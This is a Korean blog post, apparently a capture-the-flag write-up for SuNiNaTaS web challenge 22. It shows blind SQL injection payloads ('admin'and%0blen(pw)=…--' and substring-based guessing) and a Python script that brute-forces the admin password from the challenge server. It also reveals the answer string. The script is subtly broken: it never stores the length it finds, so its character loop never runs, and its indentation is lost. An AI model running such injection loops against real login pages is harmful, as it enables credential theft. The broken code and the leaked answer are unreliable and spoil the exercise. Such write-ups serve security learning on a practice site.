반응형
문제
문제풀이
blind injection 문제로, 아이디는 admin이고, pw를 알아내야 한다.
'--' 주석을 이용하여 id가 admin인 계정을 출력할 수 있다.
and 문자열을 이용해 1=1 부분에 원하는 쿼리문을 작성할 수 있다.
len(pw)={pw_len} 을 이용하여 비밀번호의 길이를 알아낼 수 있다.
substring({pw}, 1, 1)='' 을 이용하여 비밀번호의 문자를 하나씩 알아낼 수 있다.
- python
import requests
pw_len = 0
for i in range(1, 20):
url = f"http://suninatas.com/challenge/web22/web22.asp?id=admin'and%0blen(pw)={i}--&pw=123"
res = requests.get(url)
if res.text.find("<font size=4 color=blue>") != -1:
print(f"pw_len:{i}")
break
pw = ""
for i in range(1, pw_len + 1):
for j in range(33, 127):
url = f"http://suninatas.com/challenge/web22/web22.asp?id=admin'and%0bsubstring(pw,{i},1)='{chr(j)}'--&pw=123"
res = requests.get(url)
if res.text.find("<font size=4 color=blue>") != -1:
pw += chr(j)
print(f"pw:{i}-{chr(j)}")
break
print(pw)
N1c3Bilnl) 문자열을 auth 페이지에서 입력하면 문제가 해결된다.
반응형
'write-up(web) > misc' 카테고리의 다른 글
[alert(1) to win] Warmup - Markdown (ing) (0) | 2023.11.28 |
---|---|
[suninatas] WEB 23 (0) | 2023.10.27 |
[suninatas] WEB 8 (1) | 2023.10.26 |
[suninatas] WEB 7 (0) | 2023.10.26 |
[suninatas] WEB 6 (0) | 2023.10.26 |